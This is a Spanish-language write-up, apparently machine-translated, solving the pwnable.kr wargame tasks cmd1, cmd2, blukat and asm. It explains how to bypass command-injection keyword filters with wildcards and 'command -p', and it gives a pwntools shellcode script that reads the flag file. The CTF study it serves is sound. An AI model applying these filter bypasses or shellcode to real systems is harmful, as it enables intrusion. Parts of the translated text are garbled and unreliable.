En este artículo, veremos cómo omitir un filtro liviano, veremos cómo escribir un shell usando pwntools y también resolveremos algunas tareas desde el sitio
pwnable.kr .
Información organizacionalEspecialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:
- PWN;
- criptografía (criptografía);
- tecnologías de red (Red);
- inversa (ingeniería inversa);
- esteganografía (Stegano);
- búsqueda y explotación de vulnerabilidades WEB.
Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.
Para que pueda conocer nuevos artículos, software y otra información, creé un
canal en Telegram y un
grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones
personalmente y responderé a todos .
Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.
Solución de la tarea cmd1
Hacemos clic en el icono con la firma cmd1, y se nos dice que debemos conectarnos a través de SSH con la contraseña de invitado.

Cuando está conectado, vemos el banner correspondiente.

Veamos qué archivos hay en el servidor y qué derechos tenemos.

Veamos el código fuente.

Todo es muy simple: pasamos el comando al programa y lo ejecuta en la línea de comando, pero primero filtra las palabras flag, sh, tmp. Filtra la bandera, pero no fla *.

Entregamos la bandera y obtenemos un punto más.
Solución de la tarea cmd2
Hacemos clic en el icono con la firma cmd2, y nos dicen que necesitamos conectarnos a través de SSH con la contraseña para el trabajo cmd1.

Cuando está conectado, vemos el banner correspondiente.

Veamos qué archivos hay en el servidor y qué derechos tenemos.

Veamos el código fuente.

Parece cmd1, pero un filtro más complejo. Nuevamente filtra la bandera, pero no filtra fla *. Todo se complica por el filtrado de barras, pero podemos ejecutar / bin / cat como comando -p cat.

Entregamos la bandera y obtenemos puntos.
Solución de trabajo de Blukat
Hacemos clic en el icono con la firma blukat y se nos dice que debemos conectarnos a través de SSH con la contraseña de invitado.

Cuando está conectado, vemos el banner correspondiente.

Veamos qué archivos hay en el servidor y qué derechos tenemos.

Veamos el código fuente.

Entonces, un archivo con una contraseña se abre aquí, pelea con la clave y muestra una bandera. Aquí solo hay un archivo con contraseña si lee un archivo con contraseña, nos muestra el texto de error. De hecho, el error es la contraseña ... Como el grupo puede leer el archivo, estamos en este grupo.


Entregamos la bandera y obtenemos tres puntos.
Solución de trabajo asm
Hacemos clic en el icono con el asm de firma y se nos dice que debemos conectarnos a través de SSH con la contraseña de invitado.

Cuando está conectado, vemos el banner correspondiente.

Veamos qué archivos hay en el servidor y qué derechos tenemos.

Nos dejaron un archivo Léame, léelo.

Por lo tanto, debemos enviar un código de shell que lea el archivo de bandera al puerto 9026.

Genial Usamos pwntools, definimos parámetros para la conexión y la arquitectura.
from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' r.interactive()
Para compilar el shell usaremos el módulo shellcraft. Cómo funcionará shellcode:
- Ponemos en la pila una línea: el nombre del archivo.
- Abra el archivo con el nombre desde la parte superior de la pila (registro rsp).
- Dado que la función open devolverá el descriptor de archivo abierto en el registro rax, el primer parámetro a leer, leeremos 64 bytes en la pila, por lo tanto, el registro rsp será el segundo parámetro.
- Ahora escribimos en la salida estándar (descriptor 1) una bandera que se encuentra en la parte superior de la pila (registro rsp).
- Recogemos nuestra cáscara y nave.
from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' payload = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') payload += shellcraft.open('rsp', 0, 0) payload += shellcraft.read('rax', 'rsp', 64) payload += shellcraft.write(1,'rsp', 64) shell = asm(payload) r.send(shell) r.interactive()

Entregamos la bandera y obtenemos 6 puntos. Nos vemos en el próximo artículo, donde consideraremos la vulnerabilidad compleja Use After Free.
Estamos en un canal de telegramas: un
canal en Telegramas .